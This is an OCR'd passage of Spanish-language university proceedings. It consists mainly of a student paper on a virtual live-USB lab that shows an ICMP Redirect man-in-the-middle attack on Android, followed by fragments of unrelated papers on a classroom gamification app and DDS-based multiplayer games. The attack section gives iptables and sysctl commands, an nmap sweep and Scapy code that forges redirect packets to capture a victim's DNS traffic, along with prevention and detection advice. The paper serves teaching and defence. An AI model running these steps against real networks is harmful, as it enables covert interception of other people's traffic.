escenario y un escenario homogéneo para cada alumno.

Los pasos a seguir para la generacion del live-USB se
detallan en la memoria del Trabajo Fin de Grado, y una vez
seguidos estos pasos, se dispondrd de un dispositivo live-USB
como el que podemos ver en la Figura 1. En ella podemos
ver cOmo los tres equipos se interconectan mediante un router
virtual, que actuard como Default Gateway de ellos y a su
vez hace NAT con el exterior, creando una red de drea local
(LAN).

III. CONCEPTOS GENERALES: ATAQUES MITM

El ataque MitM consiste en la infiltracién por parte del
atacante en la comunicacidn entre la victima y un destinatario,
generalmente siguiendo una arquitectura cliente-servidor, sin
que ninguno de estos se percaten del hecho de que su enlace
estd siendo violado. Por lo tanto, el atacante tendria la capaci-
dad de interceptar los mensajes enviados en la comunicacion.
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Fig. 2. Funcionamiento de los mensajes ICMP Redirects.

Esto puede derivar en consecuencias como las siguientes:

1) Se podrian bloquear los mensajes enviados por una de
las partes para realizar un ataque de denegacién de
servicio (DoS).

2) Se puede utilizar para espiar la comunicacién y obtener
informacién valiosa de ella. Esta consecuencia puede
ser paliada utilizando técnicas criptograficas en la co-
municacion.

3) Se puede hacer un ataque de phishing, mediante el
cual el atacante suplanta la identidad de uno de los
dos extremos de la comunicacién. Este ataque suele ser
utilizado para obtener los datos de acceso (usuario y
contrasefa) de la pagina web que ha sido duplicada.

Existen muchas técnicas para realizar un ataque MitM, y
entre ellas nos centraremos en una técnica basada en mensajes
ICMP Redirects. Los mensajes ICMP Redirects son mensajes
de error del protocolo ICMP que se envian desde los routers
a los host para informar de la existencia de una ruta mejor
hacia un determinado destino, para que estos actualicen sus
tablas de encaminamiento cambiando su Default Gateway y
asi ahorrar tiempo y recursos en la red. En la Figura 2 se puede
ver un pequeflo esquema de su funcionamiento y utilidad.

El hecho de la eleccion de este método para realizar el caso
de estudio préactico en nuestro laboratorio se debe a varios
motivos:

o Es un tipo de ataque menos conocido que otros como
ARP Spoofing pero no menos efectivo que este.

¢ Es un método sencillo de implementar al basarse en un
concepto simple, como son los mensajes ICMP Redi-
rects, y existir diferentes caminos para llevarlo a cabo
con éxito.

o Los sistemas operativos Android son vulnerables a este
ataque.

Este udltimo punto es el mas importante a la hora de
decidirnos a implementar este ataque, ya que es una prueba
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de la vulnerabilidad que poseen los sistemas Android en la
actualidad siendo mds vulnerables que otros sistemas, como
GNU/Linux y Windows, donde no se acepta la recepcién de
mensajes ICMP Redirects desde hace tiempo por seguridad,
hecho fundamental para que el ataque pueda realizarse con
éxito. Sin embargo, el sistema operativo Android posee esta
vulnerabilidad hasta una de sus versiones mds recientes como
es Android 5.0 (Lollipop).

El concepto del ataque MitM basado en mensajes ICMP
Redirects es muy simple, basta con que el atacante envie un
mensaje ICMP Redirect a la victima indicandole que cambie
su Default Gateway por €l mismo para una direcciéon IP
destino que le interese, como hace R1 en la Figura 2, desde
ese momento todos los mensajes destinados a esa direccion
pasaran por el atacante teniendo este la opcién de bloquearlos,
redireccionarlos a su destino real (ataque pasivo), o modifi-
carlos (ataque activo). Un uso comin de este ataque puede ser
que el atacante utilice los mensajes Redirects para modificar la
ruta hacia los servidores DNS de la victima, con lo que podria
manipular el resto de conexiones a los dominios que intente
acceder la victima. Vemos que un ataque tan sencillo como
este abre un abanico de posibilidades muy grande para un
atacante con el Unico requisito de encontrarse en la misma red
LAN que el usuario afectado, y que este emplee un dispositivo
movil con Android, hecho que en la actualidad seria un
escenario de lo mds comun, y que intentaremos reproducir
fielmente en nuestro laboratorio gracias a la virtualizacién y
al uso de live-USB

IV. CASO DE ESTUDIO DEL LABORATORIO:
IMPLEMENTACION DE MITM CcON ICMP REDIRECTS

En esta seccién se pretende implementar un caso practico
de un ataque Man in the Middle sobre un dispositivo Android
con el fin de mostrar la funcionalidad del laboratorio virtual
disefiado, y a su vez estudiar una vulnerabilidad del S.O.
Android. En concreto se va a realizar un ataque basado en
mensajes ICMP Redirects como se explic6 en la Seccién III.
Resumidamente, el escenario donde se desarrollara el ataque
es el siguiente:

o Default Gateway: Es la ruta por defecto que los equipos
de la LAN tienen configurados para comunicarse con
el exterior, generalmente suele ser el router frontera
de la red, que hace NAT, y en este escenario virtual
se representa por un router virtual con la direccién IP
192.168.1.1

o Atacante (Kali Linux): Serd la miquina que realice el
ataque MitM y capture la comunicacién entre el cliente
Android y el servidor, esta poseerd la direcciéon IP
192.168.1.5.

o Victima (Android): Sera el equipo que actie como cliente
y se comunique con el servidor, su direccién IP serd la
192.168.1.6

e Servidor infectado: Para la prueba de concepto se ha
elegido un servidor DNS con el objetivo de capturar las
peticiones DNS de la victima, en concreto se infectarad
el DNS publico de Google 8.8.8.8.

A continuacién se detalla el procedimiento a seguir para
ejecutar el ataque dentro del entorno del live-USB.
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A. Preparacion de la mdquina Android

El dispositivo con el S.O. Android serd la victima
del ataque, para facilitar las labores a realizar sobre
esta mdaquina empleamos un terminal de comandos,
donde podemos comprobar si es vulnerable a

este tipo de ataques ejecutando el comando: cat

/proc/sys/net/ipvéd/conf/all/accept_redirectd

Si el terminal devuelve un 1 quiere decir que acepta la
recepcion de mensajes ICMP Redirects y por tanto es
vulnerable a nuestro ataque. Este paso es simplemente a nivel
informativo ya que para la realizaciéon de este ataque no es
necesaria ninguna configuracién en el terminal del cliente,
este es un hecho determinante a la hora de comprobar la
potencia del ataque MitM.

B. Preparacion de la mdquina Kali Linux

La finalidad de este ataque es redirigir el trifico de la
victima para que pase por el equipo del atacante en lugar
de dirigirse al router por defecto, y para que el ataque no
sea detectable a simple vista por el usuario el equipo atacante
debe actuar de router reenviando el trafico a su verdadero
destino, al igual que en sentido opuesto. Por lo tanto, debemos
hacer las configuraciones necesarias para que la maquina Kali
(atacante) actie como un router desde el punto de vista del
cliente, modificando los siguientes parametros:

e IP forwarding: En primer lugar activamos el reenvio
de paquetes del protocolo IP, con esta funcién con-
seguimos que el equipo reenvie los paquetes que recibe
con un destino distinto del propio; que en distribuciones
GNU/Linux se haria editando el archivo de configuracién
/etc/sysctl.conf, que sirve para pasarle al Kernel
pardmetros de configuracién en tiempo de ejecucion,
dentro de este archivo se debe descomentar la linea
net.ipv4.ip_forward 1y aplicar los cambios con
el comando sudo sysctl -a.

e Send Redirects: Otro pardmetro muy importante
dentro del contexto del ataque que estamos estudiando,
debemos desactivar el envio de mensajes ICMP Redirects
por parte de nuestro equipo, ya que eso evitard que
envie mensajes originales a la victima cuando enviemos
el mensaje generado por nosotros, al entender el PC
atacante de que la mejor ruta posible para la victima
es el propio Default Gateway de la red. En caso de
estar activado, la maquina atacante enviaria un mensaje
Redirect original por cada mensaje falso enviado por
el ataque. La forma de desactivar este pardmetro es
similar a la anterior, puede descomentarse la linea
net.ipv4d.conf.all.send _redirects = 0
del archivo /etc/sysctl.conf; o en su defecto
acudir a los archivos del directorio virtual /proc/sys
donde pondremos el pardmetro a 0: echo 0 >

8.1.6/24

/nmap.org ) at

i Technolo

Fig. 3.

Escaneo de dispositivos activos en la LAN.

MASQUERADE. Y traducida significa que en la tabla
NAT, haga un enmascarado de la direccién IP origen (se
coloca como direccién IP origen la de la interfaz ethO
en el momento del envio) para los paquetes provenientes
de la red indicada y salientes por la interfaz ethQ; es
decir, cambiar la direccién IP origen de los paquetes
provenientes de la victima hacia el Default Gateway
por la direccién del atacante con el fin de que el
router original no se percate de que se estd haciendo
un redireccionamiento dentro de la red. Este hecho
es muy importante porque es el que garantiza que la
comunicacion se capture en ambos sentidos (Full-Duplex
MitM), ya que se envian los paquetes al servidor como
si proviniesen del atacante, consiguiendo asi que la
respuesta vaya hacia él. También debemos asegurarnos
que el cortafuegos de iptables esté bien configurado
para que no filtre los paquetes que reenviamos, para
asegurarnos podemos borrar todas las reglas de la tabla
Filter con el comando iptables -F, y cambiar la
politica por defecto para que acepte todos los paquetes
de reenvio: iptables —-P FORWARD ACCEPT, se
recomienda consultar el manual de iptables [8] para
comprender mejor su funcionamiento.

Una vez seguidos estos pasos tendremos la mdquina ata-
cante preparada para realizar el ataque Man in the Middle
y capturar las comunicaciones entre el dispositivo Android
y el servidor al que infectemos durante el ataque, en esta
prueba vamos a infectar el trafico destinado a un servidor
DNS, en concreto el 8.8.8.8, con el fin de capturar todas las
peticiones DNS que realice el cliente a este servidor, ya vimos
su utilidad en la Seccién III. Hemos escogido un servidor
DNS por defecto, pero se puede obtener otro que utilice la
victima facilmente, ya que al estar en una red LAN comitn
seguramente el servidor DHCP haya provisto de los mismos
servidores DNS tanto a la victima como al atacante.

/proc/sys/net/ipv4d/conf/all/send_redirects.

« NAT: Finalmente, realizamos una pequefia configuracién
para hacer NAT con iptables, una herramienta de
las distribuciones Linux muy potente al combinar
funciones de Cortafuegos y NAT. La regla utilizada
en iptables para configurar el NAT es la siguiente:
# iptables -t nat -A POSTROUTING -s
192.168.1.0/255.255.255.0 -0 eth0 -j

C. Realizacion del ataque MitM

Para realizar el ataque en cuestién, vamos a hacer uso en
primer lugar de una herramienta muy conocida y de gran
utilidad como es el caso de Nmap [9] (https://nmap.org/),
un rastreador de puertos instalado por defecto en el sistema
Kali Linux que utilizaremos para obtener los dispositivos
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# Definimos las direcciones de los hosts que intervienen en el redireccionamiento IP:

originalRoute
attackerIP='
victimIP=
serverIP='8

# A continuacién creamos el paquete ICMP Redirect:

1p=IP()
ip.src=originalRouterIP
ip.dst=victimIP
icmpRedirect=ICMP()
icmpRedirect . type=5
icmpRedirect.code=1
icmpRedirect .gw=attackerIP

#E1 Payload del pagueste ICMP contiene el paquete original que
#envié la victima

redirPayloadIP=IP()
redirPayloadIP.src=victimIP
redirPayloadIP.dst=serverIP
fakeOriginal TCPSYN=TCP()
fakeOriginal TCPSYN. flags=
fakeOriginal TCPSYN.dpo
fakeOriginal TCPSYN.seqg=
fakeOriginal TCPSYN.sport=55

# Enviamos el paguete ICMP Redirect completo:

while True:
send(ip/icmpRedirect/redirPayloadIP/fakeOriginal TCPSYN)|

Fig. 4. Generacién del mensaje ICMP Redirect con Scapy.

conectados en nuestra red y saber reconocer si se encuentra
algin dispositivo Android vulnerable al ataque que estamos
estudiando. Para ello, escribimos el comando nmap —-sn -n
192.168.1.0/24 que simplemente hace un sondeo TCP
dentro de la red en busca de equipos activos. El resultado del
escaneo realizado puede verse en la Figura 3, donde podemos
ver la maquina host Lubuntu, y el terminal Android (Samsung
Electro-mechanics CO.) entre otros equipos.

Conociendo ya las direcciones IP de la victima, la
del Default Gateway, y la del servidor al que quere-
mos infectar estamos preparados para realizar el ataque.
Para ello emplearemos una herramienta llamada Scapy
[10](www.secdev.org/projects/scapy/).

Esta, es una herramienta muy poderosa, escrita en Python
que nos permite crear y manipular paquetes a cualquier nivel
para posteriormente enviarlos a la red, ademas posee multitud
de funciones adicionales como escaneos, sniffer, y creacién de
grificos. Nuestra finalidad con Scapy es generar un paquete
ICMP Redirect falso, que serd el que enviemos a la victima
para que redirija el trafico hacia la mdquina atacante. Para que
la victima procese el paquete generado por nosotros como un
paquete Redirect proveniente del router debemos simular su
estructura lo mas fielmente posible, por lo que conociendo su
estructura se emplea Scapy para generarlo.

En la Figura 4 podemos ver el mensaje ICMP generado
con Scapy, como se puede ver es un codigo escrito en Python
donde se definen los pardmetros del mensaje en primer lugar
(direcciones IP que intervienen en el escenario del ataque),
después se genera un paquete IP, donde se encapsula el men-
saje ICMP con la estructura comentada previamente, y donde
incluimos como Payload el supuesto mensaje que la victima
ha intentado enviar al servidor que queremos infectar, en
concreto se incluye la cabecera IP del supuesto mensaje, y los
8 primeros bytes del mensaje TCP de sincronizacién que va
por encima, incluyendo los puertos de origen y destino, el flag
de SYN activado, y donde generamos datos aleatorios con el
unico fin de que la victima procese el mensaje completo como
un mensaje ICMP Redirect original del Default Gateway.

Finalmente, el mensaje generado con Scapy se envia de
manera persistente a la victima, y en el momento en que esta
intente conectar con el servidor, en este caso el 8.8.8.8, se
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encontrard con un mensaje ICMP Redirect de respuesta, que
provocard que el trafico hacia ese servidor se redireccione a
la nueva puerta de enlace, en este caso la maquina atacante
(192.168.1.5).

D. Andlisis de resultados

Una vez que ejecutamos el codigo de la Figura 4 con
Scapy. Si todo se ha configurado correctamente, a partir de
este momento seremos capaces de capturar cualquier trafico
generado entre la victima y el servidor implicado en el ataque.
Hemos de afiadir que en esta prueba de concepto nos hemos
centrado exclusivamente en el funcionamiento del ataque a
nivel de red, por lo que no se demuestra el potencial de este
ataque en su totalidad; sin embargo, una vez que se consigue
capturar el trafico, se pueden realizar multitud de acciones
maliciosas adicionales.

Existen multiples aproximaciones para comprobar el cor-
recto funcionamiento del ataque. Al ser un caso practico de
laboratorio y tener acceso al dispositivo Android de la victima,
en primer lugar intentamos acceder a un sitio web haciendo
una peticion DNS al servidor de Google, el infectado en este
caso, y comprobar realmente si somos capaces de capturar
dicha peticiéon y su respuesta. Podemos ver en la Figura 5
que, efectivamente, desde la maquina atacante podemos ver
la peticién hecha por el dispositivo de la victima, al igual
que la respuesta del servidor, en ella se puede ver también
la funcién que realiza el enmascaramiento de iptables. Cada
paquete que proviene de la victima lo enmascara con la
direccién IP origen del atacante y lo reenvia, al igual que
en sentido contrario recoge la respuesta del servidor y cambia
la direcciéon IP destino por la de la victima, haciendo el
ataque Man in the Middle transparente para ambos extremos.

E. Prevencion y deteccion

En este apartado se presenta alguna aproximacién para
prevenir o en su defecto detectar que se estd sufriendo un
ataque MitM. En la Seccién III ya hablamos de formas
de prevenir ser victimas de un ataque de este tipo, y
todas las recomendaciones de seguridad valen para un
sistema Android como para cualquier otro; para el ataque
que hemos analizado en este laboratorio la forma mads
directa de prevenirlo es deshabilitando la opcién de recibir
mensajes ICMP Redirects, se consigue teniendo permisos
de superusuario y afiadiendo este comando: echo 0 >

/proc/sys/net/ipv4/conf/all/accept_redirects.

Con respecto a la deteccién, es posible utilizando una
herramienta muy ttil como es traceroute obtener el camino
seguido para un determinado destino. Como comprobacién
realizamos un fraceroute al destino envenenado mientras se
realiza el ataque y podemos ver el resultado en la Figura
6, en ella se ve como el trifico hacia dicho destino pasa
primero por la miquina atacante 192.168.1.5 y posteriormente
por el router original. Sin embargo, partimos de la base
de que un usuario que estd con su terminal conectado a
una red WiFi, por ejemplo, no va a hacer este tipo de
comprobaciones, por lo que las posibilidades de deteccién
por este método son reducidas. También existen numerosas
herramientas automatizadas para detectar ataques MitM, pero
en este campo se parte con desventaja por dos motivos: (a)
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192.168.1.
o 192.16
1 801

i
Standard query
di

(Redirect f
(Redirect

response @x8419 CNA! ols.1.google.com AAAA 2a300:1450:4603:801::200e

4426 170.33251101 8.8.8.8 o ol DNS 126 Standard query response ©x8419 CNAME tools.l.google.com AAAA 2a300:1450:4603:801::200e

4427 170.33510601 192.168.1.

DNS 76 Standard query @xd875 A tools.google.com

1.6
4428 170.33513161 192.168.1.5 o DNS 76 Standard query 0xd875 A toels.google.com
1.1

170.35767761 192.16

2 Redirect

(Redirect for host)

Fig. 5. Captura del trifico de la victima con Wireshark.

root@android:/ # traceroute 8.8.8.8
raceroute to 8.8.8.8 (8.8.8.8), 30 hops
max. 38 bvte packets

1 192.168.1.5 (192.168.1.5)
3,303 ms 2.637 ms

2 192.168.1.1 (192.168.1.1)
4.577 ms 3.991 ms

3 110.Red-80-58-67.staticIP.rima-tde.n
et (80.58.67.110) 31.526 ms 30.896 ms
182.277 ms

4 * * *

5 113.red-80-58-106.staticip.rima-tde.
et (80.58.106.113) 48.659 ms 48.331 m
s 48.213 ms

6 * * *

7 5.53.1.82 (5.53.1.82)
.240 ms 45.779 ms

2.879 ms

5.285 ms

46.011 ms 46

Fig. 6. Traceroute hacia el servidor infectado.

La mayoria de estas herramientas son para sistemas operativos
de equipos de escritorio, aunque también existen algunas para
Android, y (b) la mayoria se centran en detectar ataques
basados en ARP, DHCP, y otros tipos, siendo pocas las utiles
para detectar un ataque basado en ICMP Redirect.

V. CONCLUSIONES Y TRABAJOS FUTUROS

El hecho de trabajar con sistemas virtualizados, y con live-
USB, aporta a este trabajo una potencia enorme al facilitar
la labor docente en gran medida en términos de flexibilidad
y portabilidad en la realizacién de las précticas. Permite
también disponer de un laboratorio para estudiar temas de
seguridad en Android, que hasta ahora no era posible con los
laboratorios actuales en la ETS de Ingenierias Informatica y
de Telecomunicacién de la Universidad de Granada. Ademas
de repasar conceptos muy interesantes de cara al estudiante,
como los conceptos de redireccionamiento o NAT vistos de
forma indirecta en la preparacion del escenario.

Por lo tanto, con este trabajo se pretende, entre otras cosas,
dejar un camino abierto para futuras aplicaciones de esta
tecnologia, ya sea continuando con el estudio de este ataque,
donde se pueden incluir més aspectos como extender el ataque
con alguna consecuencia, o generar alguna herramienta de
deteccién del mismo. O bien, pudiendo servir de ejemplo para
montar laboratorios con otro propésito de estudio, gracias a
la flexibilidad que posee a la hora de crear topologias de red
y contenidos docentes.

Aln existen lineas de trabajo futuro interesantes que han
de ser estudiadas:

o Utilizar el caso de estudio presentado en este trabajo
como caso practico en la materia de seguridad en redes
de comunicacion del grado en Ingenieria de Tecnologias
de Telecomunicacién de la Universidad de Granada,
y en el nuevo Master de Ciberseguridad de nuestra
universidad.

o Montar pruebas similares con otros tipos de ataques
explotables en el S.0. Android, como se hace en el
Trabajo Fin de Grado mediante el estudio de una Botnet
con el mismo propdsito.

o Continuar con el desarrollo de diversos escenarios uti-
lizando live-USB para facilitar su implementacién en las
materias de seguridad de la UGR.
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Resumen—A dia de hoy, el sistema educativo espaiiol ha
sufrido miltiples cambios. A pesar de ello, ninguno de esos
cambios se ha planteado renovar la forma de enseiar. Las
nuevas generaciones tienen una forma distinta de recibir la
informacion. Los alumnos viven veinticuatro horas conectados a
una nueva fuente de informacién que es Internet. La integracion
de dinamicas de juego en entornos no lidicos no es un fenémeno
nuevo, pero el crecimiento exponencial del uso de videojuegos en
los ultimos afios ha despertado el interés de expertos en diversas
areas de actividad humana. Ha comenzado también la expansion
en el estudio de su aplicacion a otros ambitos no necesariamente
lddicos. Ludificacion es el término escogido para definir esta
tendencia. El presente trabajo propone diseiar una herramienta
para aplicar la ludificacion en el aula, en forma de aplicacion
movil, uniendo las dos vertientes, la tecnoldgica y la lidica en
un unico objetivo: educar jugando [1][2].

Palabras clave—Ludificacion, educacion, aplicacion mévil, An-
droid

I. INTRODUCCION

UDIFICACION [3] es el empleo de mecdénicas de juego

en entornos y aplicaciones no lddicas con el fin de
potenciar la motivacion, la concentracion, el esfuerzo, la
fidelizacién y otros valores positivos comunes a todos los
juegos.

En Espafia, asi como en otros paises del mundo, nos
encontramos con un sistema educativo cada vez mas obsoleto.
La tecnologia, es una herramienta que puede ayudar a los
centros educativos a actualizar su curriculo y su metodologia
de trabajo para mejorar esta situacion.

Por ello, el presente trabajo propone disefiar e implementar
una herramientapara aplicar la ludicacién en el aula, en forma
de aplicaciéon moévil que permita a los profesores llevar un
seguimiento del progreso del alumno.

Ademéds, el alumno se verd involucrado en las tareas y
desarrollo del curso mediante una serie de mecdnicas y
dindmicas de juego. La tecnologia permite asimilar y entender
los contenidos mediante la participacion del alumno.

II. OBJETIVOS

El objetivo fundamental del presente trabajo fin de grado
es desarrollar una aplicacion mévil que ponga en prictica
las técnicas aplicadas en los juegos en el campo de la
educacion, ademads teniendo en cuenta la ludificacién del

profesor. Este objetivo general se divide en los siguientes
objetivos especificos:

1) Estudiar las técnicas de ludificacién y sus conceptos y
técnicas esenciales.

2) Diseiiar los requerimientos de la herramienta a desar-
rollar basdndose en las técnicas de ludificacion que se
quieren implementar.

3) Estudiar las diversas herramientas y opciones para de-
sarrollar la aplicacion mévil y elegir las mds conve-
nientes.

4) Poner a disposicién de toda la comunidad educativa la
herramienta disefiada liberando su cédigo.

5) Definir las lineas de trabajo futuras para ampliar la
aplicacion con nuevas técnicas y funciones.

III. ELEMENTOS DE UN JUEGO

A. Mecdnicas de juego

La aplicacién de mecdnicas de juego a una actividad que
no es lddica permite enriquecer la actividad que el usuario
esta realizando como hemos dicho anteriormente. Ademas,
incrementa la motivacion y el compromiso de los jugadores
mediante la consecucion de objetivos y con la finalidad de
obtener reconocimiento por parte de la comunidad que juega.
La mecdnica de un juego se compone de diferentes herramien-
tas y técnicas que se utilizan de forma complementaria entre
ellas para lograr esos objetivos del juego. Algunas de las
principales mecdnicas de juego son:

o Puntos. Asigna un valor cuantitativo a una accion.

o Niveles. Umbrales que se cumplen acumulando puntos

o Premios. Acreditacion fisica o virtual por haber alcan-
zado un objetivo del juego

« Bienes virtuales. Objetos o articulos virtuales que per-
miten personalizar el avatar del juego.

« Calificaciones. Posicion en el juego respecto al resto de
jugadores basada en los puntos o niveles acumulados.

« Desafios. Competiciones entre diferentes miembros del
juegos ya sea por equipos o individualmente.

« Misiones o retos. Afrontar un desafio del juego normal-
mente seguido de una recompensa si se consigue superar.

« Regalos. Bienes gratuitos al jugador o entre jugadores
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B. Dindmicas de juego

Las dindmicas de juego son aquellas necesidades e inqui-
etudes humanas que motivan a las personas. Para conseguirlas,
se realizan las distintas mecédnicas de juego vistas anterior-
mente. Las personas tienen necesidades y deseos fundamen-
tales: deseo de recompensa, de estatus, de logro y de altruismo
entre otros. Los disefiadores de juegos lo saben desde hace
décadas, y se dirigen a estas necesidades en el entorno del
juego mediante la ludificacién de estos deseos. Esto hace que
aparezcan las dindmicas de juego. Las dindmicas de juegos
son muy diversas, algunas de ellas son:

« Recompensa. Conseguir un beneficio a cambio de una

accion.

« Estatus. Adquisicién de posicionamiento, prestigio y

reconocimiento.

« Logro. Superacién de las misiones satisfactoriamente.

o Expresion. Creacién de identidad propia y diferen-

ciacion.

o Competicién. La comparacién con el rival fomenta el

rendimiento.

o Altruismo. Regalar y ayudar une a individuos y comu-

nidades.

IV. DISENO

Realizando un repaso del estado del arte, donde se es-
tudiaron algunos ejemplos de aplicacién de la ludificacion
en las aulas, se realizé un disefio previo de los elementos
fundamentales de la aplicacién del maestro.

A. Entidades y recursos

En la herramienta se han definido una serie de entidades
y recursos para poder conseguir implementar algunas de las
mecdnicas y dindmicas de juego descritas anteriormente. Se
describen a continuacién para una mejor comprension.

« Puntos: se ha implementado un sistema de puntos de
experiencia con los cuales, el alumno puede ser atribuido
con una suma o resta de puntos segtin diversos compor-
tamientos o tareas realizadas.

« Niveles: cada alumno tiene un nivel que estd en funcién
de los puntos de dicho usuario.

¢ Medallas: las medallas son los premios de la aplicacion.
Mediante estas, se da un distintivo al usuario por haber
realizado alguna hazafia en clase. Tanto el profesor como
el alumno pueden recibir medallas, de esta forma el
profesor también entra en el “juego” en el aula.

o Actitudes: las actitudes son diferentes conductas, posi-
tivas o negativas, a las que se le atribuyen unos puntos
por su cumplimiento. Si la actitud es positiva, los puntos
se suman a la experiencia del usuario. Sin son negativos,
se restan.

o Privilegios: los privilegios dan derechos especiales al
alumno. El profesor le concede un privilegio al alumno
como recompensa a alguna accién positiva y mediante
este el alumno puede tener una concesién especial. Por
ejemplo, salir 10 minutos antes de clase o saltarse una
pregunta de examen sin consecuencias en la nota de este.

« Notificaciones: mediante estas, los alumnos valoran cada
una de las clases del profesor. Pueden ponerle un co-
mentario y ademds, complementarlo con un emoticono,

dando asi su valoracién de la sesién lectiva. De esta
forma, el profesor recibe el feedback del alumno y puede
tener en cuenta la opiniéon de los alumnos. Ademas,
aunque por otra parte sea obvio, las notificaciones son
totalmente anénimas, lo que da al alumno la oportunidad
de opinar sin temor a ser reprobado por ello.

o Tareas: las tareas, como su nombre indica, son activi-
dades que el profesor propone a los alumnos y cuya
realizacién supondrd alguna atribucién al alumno. Una
tarea puede ser, por ejemplo, hacer algunos ejercicios de
matematicas.

B. Estructura previa de la interfaz de usuario

La aplicacién tiene una serie de bloques bdsicos a imple-
mentar en la interfaz de usuario. Esta interfaz pertenece a la
aplicacién del profesor, la del alumno seria similar, aunque
sin los bloques que permite al profesor valorar al alumno y
con un bloque extra para insertar notificaciones. Los bloques
son los siguientes:

« Login del usuario:vEs lo primero que muestra la apli-

cacion. El usuario entrard a la herramienta con su usuario
y contrasefia.

o Perfil del usuario: En el perfil del usuario se muestran
las caracteristicas de dicho usuario. Su avatar, nivel,
experiencia, su nickname, una barra de progreso (muestra
graficamente el estado de avance en el nivel actual) y
medallas.

¢ Clases del usuario: Aqui se muestran en el caso del
profesor, las clases a las que imparte alguna materia
y en el caso del alumno, las materias en las que estd
matriculado.

« Notificaciones: Se pueden visualizar las valoraciones de
los alumnos para cada sesién de clase. Para ello hay un
calendario donde, seleccionado el dia, se mostraran las
notificaciones asociadas.

o Alumnos de la clase: Se muestra el listado de alumnos
que hay en una clase. Esta vista estd s6lo disponible para
el profesor.

o Grupos de alumnos: Se muestran los grupos de trabajo
de los alumnos en una clase.

o Perfil del alumno: Se muestra el perfil del alumno.
En este caso el profesor visualiza el perfil del alumno
seleccionado de la clase.

o Actitudes: Se muestran las diferentes actitudes a valorar
por el profesor, ya sea positiva o negativamente.

o Medallas: En esta vista se visualizan las medallas
disponibles para dar al alumno o al profesor, dependiendo
de quien sea el usuario.

o Privilegios:Se visualizan los privilegios disponibles para
dar al alumno.

« Tareas de la clase: Se muestran las tareas programadas
por el profesor, ademds pueden anadirse nuevas tareas.

V. IMPLEMENTACION

Se exponen a continuacién los diferentes casos de uso y
como se ha llevado a cabo la implementacién de algunos de
los disefios. Finalmente se hace un breve andlisis de la base de
datos creada para el almacenamiento de los datos de alumnos
y profesores y de la API que comunica la aplicacién con dicha
base de datos.
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A. Identificacion de los actores

Se le llama actor a toda entidad externa al sistema que
guarda una relacién con éste y que le demanda una fun-
cionalidad [4]. Esto incluye a los operadores humanos pero
también incluye a todos los sistemas externos, en nuestro caso
el servidor y la base de datos.

o Profesor: Actor principal de la aplicacién junto con el
alumno. Es el que gestiona la clase y los diferentes
elementos que la ludifican.

e Alumno: El otro actor principal, usa la aplicacién que
ludifica sus acciones en clase.

o Servidor LudicApp: Es el software encargado de comu-
nicar al usuario con la base de datos para intercambiar
los mensajes entre estos dos actores.

o Base de datos: Realiza consultas y modificaciones de
toda la informacién de la aplicacién para que pueda ser
gestionada o cambiada segtin las acciones del usuario.

B. Casos de uso

Los casos de uso pueden entenderse como una lista de pasos
que definen las interacciones entre un rol (conocido como
actor en UML, Unified Modeling Language) y un sistema para
conseguir un objetivo. Ademds, indican de forma esquemaética
las tareas que realizard la herramienta. En este caso los casos
de uso son los siguientes:

« Login en el sistema

o Ver perfil de usuario

o Cambiar avatar

o Consultar listado de clases

« Consultar tareas de una clase

o Borrar tarea

« Anadir tarea nueva

o Consultar notificaciones de una clase

o Consultar el listado de alumnos de una clase

o Consultar los grupos de una clase

e Borrar grupo de trabajo

o Listar los alumnos de un grupo de trabajo

o Afiadir grupo de trabajo a una clase

« Puntuar con una actitud a un alumno

o Afiadir nueva actitud

o Ver perfil de un alumno

o Dar medalla a un alumno

o Dar privilegio a una alumno

o Afiadir un nuevo privilegio
La implementacion de estos casos de uso se ha llevado a
cabo mediante el lengua de programacién Android[5]. En las
figuras 1, 2y 3 podemos ver el disefio final de dicha
implementacion.

C. Base De Datos

Teniendo en cuenta los componentes definidos en la fase
de disefio, es necesario un sistema de almacenamiento para
manejar toda la informaciéon con la que la aplicaciéon va
a trabajar. La informacién debe poder obtenerse de forma
sencilla y estar organizada de forma estructurada, por tanto, es
necesario el uso de una base de datos. La base de datos cuenta
con una serie de tablas que corresponden a los diferentes
elementos y/o entidades de la aplicacién. Su implementacion
se ha hecho en la parte del servidor [6].

23

D. API

La API, es el elemento que permite ayudar a comunicar
la aplicacién con la base de datos. En este proyecto, se ha
realizado con PHP [7]. Se divide en dos partes principales: el
login y otras funciones de consulta.

B B
I Lk 1]
==

POST: operacion=login SELECT Usuario
&username&password

Datos Usuario

getDatosProfesor()
/getDatosAlumnof)

JSON DATOS

JSON DATOS

Fig. 1. Ejemplo de comunicaciéon App-BBDD.

Ludicapp

fabidefabula@gmail com

ENVIAR

Fig. 2. Vista del login.
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VI. CONCLUSIONES

Mejorar el aprendizaje de los alumnos supone poner a

prueba la eficacia de nuestras metodologias y estar dispuestos
a abandonar las cémodas metodologias expositivas tradi-
cionales y cambiarlas por otras mds eficaces para motivar,
inducir el esfuerzo y fomentar aquellos aprendizajes que
deseamos para nuestros alumnos. Por ello se ha realizado
el presente trabajo y por ello se han realizado las siguientes
tareas.

(1]
(2]

(4]
(3]
(6]
(71

o Revision del estado del arte actual respecto a la lud-

ificacién del que se ha extraido que cada vez mads se
esta considerando como una herramienta para mejorar la
forma de ensefar en las aulas.

Se ha llevado a cabo el andlisis, disefio e imple-
mentacion de una aplicacién mévil que pretende emular
las dindmicas y mecénicas propias de un juego para
motivar a alumnos y profesores.

Se ha llevado a cabo la implementacion de la herramienta
del profesor, que presenta todas las funcionalidades.
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Resumen—DDS (Data Distribution Service) es un middle-
ware basado en el paradigma de comunicacion publicacion-
subscripcion que se caracteriza por abstraer al programador
de las tareas necesarias para la transmision de datos en en-
tornos distribuidos con requisitos de tiempo real. El proyecto
desarrollado propone utilizar esta herramienta sobre un juego
en red multijugador para explorar las ventajas que pueden
surgir de esta implementacién. Con este propdsito se estudian las
politicas de calidad de servicio proporcionadas por el middleware
para incrementar la jugabilidad y las prestaciones de los juegos
multijugador. Este proyecto constituye por tanto una prueba
de concepto sobre la viabilidad de implementar un juego en
red multijugador sobre este middleware y sobre la posibilidad
de anadir nuevas caracteristicas a la jugabilidad del mismo
utilizando dicha tecnologia.

Palabras clave—Data Distribution Service, middleware, juego
multijugador, jugabilidad, calidad de servicio

I. INTRODUCCION

OS avances tecnoldgicos de nuestra sociedad son cada

dia mas sorprendentes, especialmente en los ultimos
afios. En este sentido el desarrollo de las comunicaciones
ha sido unos de los dmbitos tecnolégicos donde mds inno-
vaciones se han producido. Prueba de ello son Internet y
las redes méviles que han posibilitado una nueva forma de
comunicarse en nuestra sociedad actual. En este contexto se
enmarcan diferentes aplicaciones que solucionan o facilitan
